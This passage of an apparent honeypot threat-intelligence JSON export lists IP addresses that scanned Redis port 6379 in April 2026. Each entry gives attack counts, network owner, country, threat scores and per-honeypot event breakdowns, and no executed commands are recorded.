        "last_seen_30d": "2026-04-30T04:38:46.058000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 28,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "ConPot": 1
      }
    },
    "183.56.183.136": {
      "attack_count": 10,
      "first_seen": "2026-04-07T02:45:05.000Z",
      "last_seen": "2026-04-18T06:02:15.648Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T02:46:09.530000+00:00",
        "last_seen_30d": "2026-04-18T06:02:15.648000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "205.210.31.66": {
      "attack_count": 10,
      "first_seen": "2026-04-18T05:02:23.000Z",
      "last_seen": "2026-04-18T05:04:01.207Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:24:19+00:00",
        "last_seen_30d": "2026-04-29T23:54:57.440000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 23,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Sentrypeer": 1
      }
    },
    "221.226.215.154": {
      "attack_count": 10,
      "first_seen": "2026-04-27T20:30:00.000Z",
      "last_seen": "2026-04-30T21:15:33.807Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T20:31:33.108000+00:00",
        "last_seen_30d": "2026-04-30T21:15:33.807000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "4.194.88.207": {
      "attack_count": 10,
      "first_seen": "2026-04-01T01:28:41.000Z",
      "last_seen": "2026-04-01T01:29:42.219Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:28:41+00:00",
        "last_seen_30d": "2026-04-01T01:29:42.219000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "46.110.173.90": {
      "attack_count": 10,
      "first_seen": "2026-04-22T17:15:41.000Z",
      "last_seen": "2026-04-24T22:45:56.054Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St. Charles",
      "asn": 30600,
      "as_org": "Metronet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-22T17:16:43.305000+00:00",
        "last_seen_30d": "2026-04-24T22:45:56.054000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "47.86.5.176": {
      "attack_count": 10,
      "first_seen": "2026-04-10T13:42:22.000Z",
      "last_seen": "2026-04-10T13:43:34.492Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-10T13:43:25.553000+00:00",
        "last_seen_30d": "2026-04-10T13:43:34.492000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "52.185.213.71": {
      "attack_count": 10,
      "first_seen": "2026-04-11T20:22:47.000Z",
      "last_seen": "2026-04-11T20:23:54.706Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T20:22:47+00:00",
        "last_seen_30d": "2026-04-11T20:23:54.706000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "93.123.109.61": {
      "attack_count": 10,
      "first_seen": "2026-04-06T12:41:12.000Z",
      "last_seen": "2026-04-10T05:14:49.522Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1274,
        "days_active_30d": 5,
        "ports_targeted_30d": 1019,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T12:05:37.526000+00:00",
        "last_seen_30d": "2026-04-10T08:18:07.658000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1274
      }
    },
    "147.185.132.40": {
      "attack_count": 9,
      "first_seen": "2026-04-19T03:44:25.000Z",
      "last_seen": "2026-04-19T03:46:06.072Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T18:31:40+00:00",
        "last_seen_30d": "2026-04-30T22:40:56.884000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 30,
        "Redishoneypot": 3,
        "Sentrypeer": 1
      }
    },
    "198.235.24.239": {
      "attack_count": 9,
      "first_seen": "2026-04-12T04:31:53.000Z",
      "last_seen": "2026-04-12T04:33:33.987Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 27,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T08:11:57+00:00",
        "last_seen_30d": "2026-04-29T07:50:09.307000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Redishoneypot": 3
      }
    },
    "198.235.24.73": {
      "attack_count": 9,
      "first_seen": "2026-04-05T19:13:49.000Z",
      "last_seen": "2026-04-05T19:15:30.804Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 29,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T02:36:16+00:00",
        "last_seen_30d": "2026-04-29T23:38:35.876000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 29,
        "ConPot": 19,
        "Mailoney": 5,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "198.235.24.75": {
      "attack_count": 9,
      "first_seen": "2026-04-02T01:55:54.000Z",
      "last_seen": "2026-04-02T01:57:31.227Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T09:46:05.901000+00:00",
        "last_seen_30d": "2026-04-30T19:44:01.399000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 33,
        "ConPot": 9,
        "Redishoneypot": 3,
        "Tanner": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "206.221.176.179": {
      "attack_count": 9,
      "first_seen": "2026-04-01T09:47:37.000Z",
      "last_seen": "2026-04-01T09:48:39.235Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:47:38+00:00",
        "last_seen_30d": "2026-04-01T09:48:39.235000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "210.245.79.58": {
      "attack_count": 9,
      "first_seen": "2026-04-11T07:43:49.000Z",
      "last_seen": "2026-04-11T07:44:55.104Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T07:43:50+00:00",
        "last_seen_30d": "2026-04-11T07:44:55.104000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "223.90.133.150": {
      "attack_count": 9,
      "first_seen": "2026-04-04T06:28:00.000Z",
      "last_seen": "2026-04-04T06:29:06.260Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Kaifeng",
      "asn": 24445,
      "as_org": "Henan Mobile Communications Co.,Ltd",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:28:01+00:00",
        "last_seen_30d": "2026-04-04T06:29:06.260000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "4.174.178.51": {
      "attack_count": 9,
      "first_seen": "2026-04-22T01:12:44.000Z",
      "last_seen": "2026-04-22T01:13:53.706Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T01:12:44+00:00",
        "last_seen_30d": "2026-04-22T01:13:53.706000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "107.174.52.83": {
      "attack_count": 8,
      "first_seen": "2026-04-25T14:23:05.000Z",
      "last_seen": "2026-04-25T14:24:11.543Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 48.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-25T14:23:05+00:00",
        "last_seen_30d": "2026-04-25T14:24:46.353000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 15,
        "Redishoneypot": 2,
        "Dionaea": 1
      }
    },
    "172.236.35.120": {
      "attack_count": 8,
      "first_seen": "2026-04-24T21:49:11.000Z",
      "last_seen": "2026-04-24T21:50:13.763Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2877,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-24T21:49:08+00:00",
        "last_seen_30d": "2026-04-24T21:59:26.169000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1523,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "147.182.130.22": {
      "attack_count": 6,
      "first_seen": "2026-04-26T16:43:10.000Z",
      "last_seen": "2026-04-26T16:44:19.170Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 172089,
        "days_active_30d": 1,
        "ports_targeted_30d": 64421,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-26T16:39:43+00:00",
        "last_seen_30d": "2026-04-26T16:54:09.752000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144993,
        "Honeytrap": 27035,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 9,
        "Dionaea": 9,
        "Miniprint": 8,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "39.107.95.100": {
      "attack_count": 6,
      "first_seen": "2026-04-07T08:56:18.000Z",
      "last_seen": "2026-04-07T08:57:28.382Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T08:57:28.382000+00:00",
        "last_seen_30d": "2026-04-07T08:57:28.382000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "8.219.79.215": {
      "attack_count": 6,
      "first_seen": "2026-04-23T14:07:33.000Z",
      "last_seen": "2026-04-23T14:09:14.374Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 16,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-13T23:28:08.147000+00:00",
        "last_seen_30d": "2026-04-28T06:21:17.562000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22
      }
    },
    "100.29.192.90": {
      "attack_count": 5,
      "first_seen": "2026-04-05T02:02:22.000Z",
      "last_seen": "2026-04-05T02:03:58.875Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T02:03:58.875000+00:00",
        "last_seen_30d": "2026-04-27T04:08:42.493000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "157.230.92.14": {
      "attack_count": 5,
      "first_seen": "2026-04-21T21:10:10.000Z",
      "last_seen": "2026-04-21T21:11:47.127Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-21T06:36:48.363000+00:00",
        "last_seen_30d": "2026-04-21T23:38:30.703000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "160.119.76.13": {
      "attack_count": 5,
      "first_seen": "2026-04-01T05:41:37.000Z",
      "last_seen": "2026-04-01T05:42:47.586Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 5,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:27:31+00:00",
        "last_seen_30d": "2026-04-05T13:20:50.191000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 21,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Miniprint": 1
      }
    },
    "172.236.96.130": {
      "attack_count": 5,
      "first_seen": "2026-04-27T12:43:11.000Z",
      "last_seen": "2026-04-27T12:44:15.253Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 30,
        "ports_targeted_30d": 188,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:09:03.054000+00:00",
        "last_seen_30d": "2026-04-30T23:37:34.029000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 197
      }
    },
    "175.24.203.235": {
      "attack_count": 5,
      "first_seen": "2026-04-06T05:57:42.000Z",
      "last_seen": "2026-04-06T05:58:48.896Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T05:58:48.896000+00:00",
        "last_seen_30d": "2026-04-06T05:58:48.896000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "178.154.236.35": {
      "attack_count": 5,
      "first_seen": "2026-04-20T17:06:39.000Z",
      "last_seen": "2026-04-20T17:07:42.405Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 200350,
      "as_org": "Yandex.Cloud LLC",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-20T17:07:42.405000+00:00",
        "last_seen_30d": "2026-04-20T17:07:42.405000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "185.48.228.127": {
      "attack_count": 5,
      "first_seen": "2026-04-11T21:49:24.000Z",
      "last_seen": "2026-04-11T21:50:29.234Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-11T21:50:29.234000+00:00",
        "last_seen_30d": "2026-04-11T21:50:29.234000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "193.163.125.17": {
      "attack_count": 5,
      "first_seen": "2026-04-19T03:35:32.000Z",
      "last_seen": "2026-04-19T03:36:40.675Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 30,
        "ports_targeted_30d": 164,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T03:48:43.837000+00:00",
        "last_seen_30d": "2026-04-30T23:22:39.287000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170
      }
    },
    "193.163.125.19": {
      "attack_count": 5,
      "first_seen": "2026-04-10T03:32:01.000Z",
      "last_seen": "2026-04-10T03:33:05.358Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 30,
        "ports_targeted_30d": 127,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T04:57:54.307000+00:00",
        "last_seen_30d": "2026-04-30T08:16:39.019000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130
      }
    },
    "193.163.125.4": {
      "attack_count": 5,
      "first_seen": "2026-04-28T03:39:03.000Z",
      "last_seen": "2026-04-28T03:40:07.779Z",
      "sessions": 0,
      "ports": [
        6379
      ],
